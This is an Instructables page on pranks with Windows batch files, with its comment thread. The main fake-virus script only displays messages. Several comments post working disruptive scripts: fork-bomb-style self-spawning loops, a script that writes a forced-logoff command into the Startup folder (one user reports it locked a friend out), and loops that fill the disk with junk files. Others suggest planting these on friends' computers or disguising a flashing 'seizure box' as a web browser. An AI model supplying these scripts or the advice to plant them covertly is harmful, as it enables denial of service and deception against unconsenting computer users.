Step 2: fun thing # 2

of course, theres the slightly-more-legal-but-still-annoying-fun field of pranking your friends. these work really well of someone who isn't that computer smart. Of course these are all harmless and will cause no damage. The worst thing that could possibly happen is their computer freezes. they restart. its fine. yippee.

Try this:
@echo off
echo You have been infected.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo The virus will now proceed to delete your entire hard drive.....thank you for being patient...
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
msg * press ok to stop the virus
msg * haha i lied. the virus will now continue :D have a nice day.
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
echo deleting.......
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul
pathping localhost -q 2 -p 250 > nul

what it looks like:
<p>http://www.instructables.com/id/Batch-pc-speed-up-tool/</p><p>This saved me 140 megabytes of space</p>
<blockquote>How do you do the administrator one? It keeps saying access <strong><em>denied.</em></strong></blockquote>
<p>You need to be admin on the pc</p>
Do u need to be admin to modify a users password. And it also says acces denied or system error 5 when i try it on my admin.user.
<p>i sent you an email about a batch AI if your still taking ideas.</p>
<p>Much, much, simpler way of crashing the pc: <br><br>:start %0<br>%0<br><br>That's it, and pop that into the startup folder and you'll have to go delete it from another account or in safe mode, great prank on friends.</p>
<p>Well,.. this is all what ever. I wanted to know of something useful I could do with making batch files, I am at best a novice, but I don't wish to prank, or confuse the system. I am looking to do something more than present a message/add color/pause/execute (a) program(s)/end...Perhaps if I could get a list of every command (is that possible?). Thank you, and reply if you have this knowledge. </p><p>My idea of something cool is to make my computer do an algorithm that would carry out a procedure/task that is unique and useful. Hmm, Is there a way I can open a program and also perform some duty in the program opened by the .bat with the .bat, per adventure it was my audio player, when it's executed by the batch file can I also make the batch start playing the media that is shown when my audio player opens? Might sound lazy but it would help when time is limited. </p>
<p>U can use this link for all the commands on batch u need:</p><p><a href="http://www.robvanderwoude.com/batchcommands.php" rel="nofollow">http://www.robvanderwoude.com/batchcommands.php</a></p><p>As for useful batch files, try this calculator:</p><p>@echo off<br>title Batch Calculator by Brains Dude<br>color 1f<br>:top<br>echo --------------------------------------------------------------<br>echo Welcome to Batch Calculator by Brains Dude<br>echo --------------------------------------------------------------<br>echo.<br>set /p sum=<br>set /a ans=%sum%<br>echo.<br>echo = %ans%<br>echo --------------------------------------------------------------<br>pause<br>cls<br>echo Previous Answer: %ans%<br>goto top<br>pause<br>exit</p>
A much more &quot;useful&quot; (dangerous) program would be this.<br>@echo off<br>:a<br>echo The contents of a spam file goes here. &gt;&gt; %random%%random%%random%.%random%%random%%random%<br>goto a
I would like to share something that will ruin your computer, you will not be able to access your account ever again, (or someone elses'), if you make this batch file and start it. <br> <br>@echo off <br>cd %appdata%\Microsoft\Windows\&quot;Start Menu&quot;\Programs\Startup <br>echo @echo off &gt;&gt; ooo.bat <br>echo shutdown /l /f &gt;&gt; ooo.bat <br>start ooo.bat <br> <br>Use wisely.
<p>What exactly does this do?</p>
well, I was still a novice back in 2012, so there are multiple ways to get around this. But anyway, what it does is it writes a program to your startup folder that runs the command &quot;shutdown /l /f&quot; which logs you off, and then starts that program to make you log off. Like I said, very easy to get past, you can log in to another account on the same computer and delete it, or you can simply go into safe mode and delete it.
hi im hoping that i can get a reply on this..i made a batch file with this and a gave it to a friend and he ran it and now he can't get back onto his computer he says everytime it loads it shuts down i told him to hold shift and log in. he told me he delted the file but the computer restarts every 10 seconds is there a way to reverse the file? <br>
Or you can get onto safemode and just set up a system restore to an earlier time, when your comp was still working. <br>
Yes, start up command prompt and type in this. <br>del %appdata%\Microsoft\Windows\&quot;Start Menu&quot;\Programs\Startup\ooo.bat <br>That should fix it.
thanks very much for your help he got it fix ^^
You can access it if you hold shift when you click your username and hold until the account finishes loading and then you can delete the file
Looks like someone tried :P
Not many people know that however, and so, it can be really useful.
<p>Bring me to life Evanessence is my guess at the song you were listening too.</p>
<p>Developers note: These are all extremely simple that anyone can learn in 5 minutes.</p><p>There's no skill or knowledge required; all of these can be written in 10 lines or less.</p><p>Here's a fun one that I just call the seizure box because fuck it, why not?:</p><br><p>@echo off<br>title RGB test<br>CLS<br>:start<br>CLS<br>echo /=========================\<br>echo [Monitor refresh-rate test]<br>echo \=========================/<br>choice /c YN /m &quot;Start refresh test?&quot;<br>if errorlevel 2 EXIT<br>if errorlevel 1 goto :seizures<br>:seizures<br>CLS<br>title Seizure-Box<br>echo Lel, turns out I lied.<br>color C0<br>color A0<br>color 90<br>goto :seizures</p><p>Now create a shortcut to it, and set the resolution to your screen's max possible resolution.</p><p>Then put it on someone's computer and disguise it as their web-browser.</p>
use this one : The most annoying one that I made when I was in college :) @echo off :lbl start goto lbl Hv Fun >:P !
no offense, but that isn't even a fork bomb :) its just a bit annoying, can easily be ended in taskmanager or just tskill in CMD :D (since the filename is used as the process name as well) :3
No offence 2 u mate 2 ! It's just a batch script , having 3 lines of code not a virus, so it can't be a FORK Bomb at all..., but is well enough to annoy you when a hoard of cmd screens pop-up in front of you, which can't be closed by pressing down Alt+F4. also, try switching on your taskmgr after executing this batch script, then I guess that it'll be pretty difficult to even bring up taskmgr at all. & even if it comes up, terminating all the cmd's will be a tedious task. It's just for fun & is not meant to do any harm to anyone... :P Though if you want fork bombs, then those also can be made... but with not 3 lines of code ... :)
i know. but i call it a fork bomb because it split itself into 2 (only in a sense) and forks out, like a fork in the road. :3
??????? wht was tht ?
Meaning the number of windows opening increases at an exponential rate.
<p>Is this a fork bomb?</p><p>1. @echo off</p><p>2. :begin</p><p>3.start (this file) virus.bat</p><p>4. goto begin</p><p>and add more #3s then you will have a short but efficient fork bomb that windows does not detect because it is only opening a program.</p>
<p>Fork bomb would be like:</p><p>@echo off<br>:start<br>goto start</p><p>It Starts the CMD thousands of times until the RAM is bogged down enough so that you have to do a hard-shutdown to recover the computer.</p>
read it again. i won't explain any simpler. -.-
<p>No offense but is this not a fork bomb 1. @echo off</p><p>2. :begin</p><p>3.start (this file) virus.bat</p><p>4. goto begin</p><p>This is four lines and it opens itself then repeats with the new file opening itself and so on and so forth. Also you said your line was 3 lines when it is 4.</p>
Thats why you make<br><br>@echo off<br>start tryandclosethis.bat<br>exit<br><br>have fun trying to end task this...
I am not here to spread viruses or damaging forks ! As the title clearly states "fun things to do with batch files" the aim was to create some fun with bat files. If you are looking for damaging stuff I suggest you search some other warez posts on the web - this forum is definitely the wrong one.
HAHAHAHA I WIN! i figured out how to get out of it without shutting down! i just open the file, then hit ctrl + c rapidly for like 5 secs (idk if its needed) then held ctrl + c and they would pretty much close as fast as they oppen then u just have to exit the first window that popped up (while holding ctrl +c)
Nice... but after how many tries u did this :) ? But yes anyways, it's just a prank, u can close all the cmd windows if your taskmgr is open. No harm in actual is done with this :) nice go noobererer :)
second try :P GO ME! lol yeh but no matter who u do this too it will have atleast like 50 windows open before they manage to stop it :P
hmm ... there are other load of pranks I hv made, will post 'em later on, hv been busy in my stupid daily job :'(
Sweet! Can't wait to see 'em :)
Ah, but you're wrong there, if it makes a copy of itself and opens the copy of itself. You're system will crash double quick now....... <br /> (muhahahaha!)<br />
Here's a better one that will turn the most powerful PC into a sluggish 286 as well as filling up the local hard disk :) @echo off echo 0 >> dump.log %0 he, he, he
Nice :)
what does that do? Looks good, but i'm in no way to test it
indefinite loop that sends out "0" to an ever growing log file
i wanna prank my friend how long would the process take and how would the windows and such work?

About This Instructable


27 favorites


More by kerpaul: fun things to do with batch files how to change someone's password
Add instructable to: